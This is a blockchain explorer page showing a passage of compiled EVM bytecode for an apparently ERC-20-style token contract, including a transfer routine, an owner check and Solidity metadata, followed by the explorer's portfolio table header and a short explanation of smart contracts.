fffffffffffffffffffffffff168152602001908152602001600020600082825461108491906116ac565b9250508190555060006127106009546000546110a091906116e0565b6110aa9190611751565b9050600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156110f857600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115591906113a6565b60405180910390a360019450505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156111a657808201518184015260208101905061118b565b60008484015250505050565b6000601f19601f8301169050919050565b60006111ce8261116c565b6111d88185611177565b93506111e8818560208601611188565b6111f1816111b2565b840191505092915050565b6000602082019050818103600083015261121681846111c3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061124e82611223565b9050919050565b61125e81611243565b811461126957600080fd5b50565b60008135905061127b81611255565b92915050565b6000819050919050565b61129481611281565b811461129f57600080fd5b50565b6000813590506112b18161128b565b92915050565b600080604083850312156112ce576112cd61121e565b5b60006112dc8582860161126c565b92505060206112ed858286016112a2565b9150509250929050565b60008115159050919050565b61130c816112f7565b82525050565b60006020820190506113276000830184611303565b92915050565b600080604083850312156113445761134361121e565b5b6000611352858286016112a2565b9250506020611363858286016112a2565b9150509250929050565b61137681611243565b82525050565b6000602082019050611391600083018461136d565b92915050565b6113a081611281565b82525050565b60006020820190506113bb6000830184611397565b92915050565b6000806000606084860312156113da576113d961121e565b5b60006113e88682870161126c565b93505060206113f98682870161126c565b925050604061140a868287016112a2565b9150509250925092565b600060ff82169050919050565b61142a81611414565b82525050565b60006020820190506114456000830184611421565b92915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6114808161144b565b811461148b57600080fd5b50565b60008135905061149d81611477565b92915050565b600080604083850312156114ba576114b961121e565b5b60006114c88582860161148e565b92505060206114d98582860161126c565b9150509250929050565b6000602082840312156114f9576114f861121e565b5b60006115078482850161126c565b91505092915050565b6000602082840312156115265761152561121e565b5b60006115348482850161148e565b91505092915050565b600080604083850312156115545761155361121e565b5b60006115628582860161126c565b92505060206115738582860161126c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115c457607f821691505b6020821081036115d7576115d661157d565b5b50919050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b6000611613600983611177565b915061161e826115dd565b602082019050919050565b6000602082019050818103600083015261164281611606565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061168382611281565b915061168e83611281565b92508282039050818111156116a6576116a5611649565b5b92915050565b60006116b782611281565b91506116c283611281565b92508282019050808211156116da576116d9611649565b5b92915050565b60006116eb82611281565b91506116f683611281565b925082820261170481611281565b9150828204841483151761171b5761171a611649565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061175c82611281565b915061176783611281565b92508261177757611776611722565b5b82820490509291505056fea26469706673582212207cf7af86ca93dbe86ae543e5e280c84d5cfdbc916da61e78f252232f973a16e564736f6c63430008180033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.